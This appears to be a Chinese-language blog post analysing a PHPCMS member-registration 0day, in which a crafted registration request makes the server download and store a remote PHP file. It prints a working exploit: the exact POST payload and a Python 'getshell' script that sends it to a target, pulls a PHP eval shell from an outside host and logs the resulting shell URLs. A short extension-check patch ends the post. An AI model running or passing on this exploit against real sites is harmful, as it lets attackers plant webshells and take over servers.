phpcms如今尚未命名叫啥漏洞,由於是經過會員註冊殺進視頻模型的附件下載流程,因此就寫PHPCMS 會員任意附件遠程下載0day分析了,利用exp以下:
dosubmit=1&modelid=11&username=hacker&password=hacker&email=hacker@test.com&info[content]=<img src=http://127.0.0.1/tools/php_eval.txt?.php#.jpg
將上面參數發post請求到 /index.php?m=member&c=index&a=register&siteid=1php
首先根據phpcms框架結構找到對應的處理入口文件,
會員入口:/index.php?m=member&c=index&a=register&siteid=1
找到phpcms框架對應的處理文件:\phpcms\phpcms\modules\member\index.php
第33行處理方法:register()
進入處理函數後,須要 設置 dosubmit 爲真,走這裏的驗證流程:
這裏能夠看到用戶名username、密碼password、郵箱email是 必須填的(email爲什麼判斷了2次? Phpcms的bug?)
單純這個流程是沒有漏洞,漏洞須要結合視頻附件處理流程,
Phpcms默認安裝有四個模型,分別是文章,下載,圖片,視頻模塊,也能夠本身建立模型, modelid=11就是視頻模型,具體看
\phpcms\caches\caches_commons\caches_data\ model.cache.php 文件即可看到緩存的模型
須要把值設爲11,因此上面post的參數變爲了
dosubmit=1& modelid=11&username=hacker& password=hacker&email=hacker@test.com
下面有個 //附表信息驗證 經過模型獲取會員信息,問題就在這裏了,獲取視頻模型的信息,
new_html_special_chars轉義函數在 \phpcms\libs\functions\global.func.php 的第37行裏:
能夠看到這裏把值或數組的鍵值轉義了,繼續看上面流程,
$member_input->get($_POST['info']); //模型輸入處理
先要看建立的類庫
$member_input = new member_input($userinfo['modelid']); //建立模型輸入類
找下member_input類在文件
\phpcms\caches\caches_model\caches_data\ member_input.class.php 文件中
在類中找到get方法,這個方法是獲取模型數據的
在模型類中fields是一個強大的多維數組、打印出來看下
類中有個 editor 成員函數是作下載用的
斷掉調試下,走視頻模型時,fields的content[‘formtype’]的值爲 editor ,下面代碼是檢測 當前類中是否存在 $fun()方法,若是存在則 傳參執行這個方法 返回給 $value
繼續跟 $value = $this->$func($field, $value)
也就是能夠觸發到成員函數 editor,再回到editor
這裏有下載功能,繼續找這個下載函數,發如今構造函數中,是一個附件類
附件類文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法,重點在第二個參數,也就是傳入的下載地址
在download 中設置上傳目錄,而後經過正則取出要下載的url,以後處理數組的過程當中會遇到一個 fillurl,補全url的成員函數html
Fillurl是支持的下載協議,繼續看下面的流程,下面流程取得 附件的擴展名做爲生成的文件名,由於下載的多是 rar、zip或者其餘的,這裏沒有驗證php擴展名,並且當在下載url加入?後面的至關於被截斷了,可是能夠繞過擴展名的判斷。
而後須要回顯,否則文件下載到服務器了,也不知道文件路徑的;
恰巧在插入時會報錯顯示出路徑信息:
\phpcms\caches\caches_model\caches_data\member_input.class.php 文件中
$info[$field] = $value;
各類姿式加起來組合出來強大的漏洞! exp 看下面:python
#!/usr/bin/env python #coding:utf-8 import sys,requests,random def getshell(target): vuln_url = target + "/index.php?m=member&c=index&a=register&siteid=1" strstr = str(random.randint(0,999)) data = { "dosubmit":1, "modelid":11, "username":"hacker" + strstr, "password":"hacker" + strstr, "email":strstr + "hacker@qq.com", "info[content]":"<img src=http://*****.com/tools/php_eval.txt?.php#.jpg" } try: response = requests.post(url = vuln_url,data = data,timeout=5) data_str = response.content except: data_str = "" vul_url = data_str[data_str.find("src=http"):(data_str.find("src=http")+len(target)+67)] print data_str if vul_url: with open("result.txt","a+") as f: f.write(vul_url+"\n") print vuln_url+"\n"+vul_url+"\n\n" else: print u"no vul" getshell("http://127.0.0.1/phpcms/")
修復漏洞:
這個是下載官網最新版測試的,貌似到如今還沒修復呢,一堆代碼邏輯在裏頭,對於很是熟悉的人,還可能間接找出相似問題,看別人說修復方式能夠把uploadfile目錄設置爲不可執行權限,也能夠經過上面的分析找到遠程下載附件函數對生成的文件名作下判斷再決定是否下載。好人作到底吧。
臨時代碼修復,等官網出了後,這個就淘汰了;
在附件類文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法找到下面這行代碼
$filename = $this->getname($filename); 在這行代碼下面增長2行代碼,判斷下生成文件的格式:shell
$file_verify = explode('.', $filename); if ($file_verify[1] === "php") die('Extension not supported PHP!');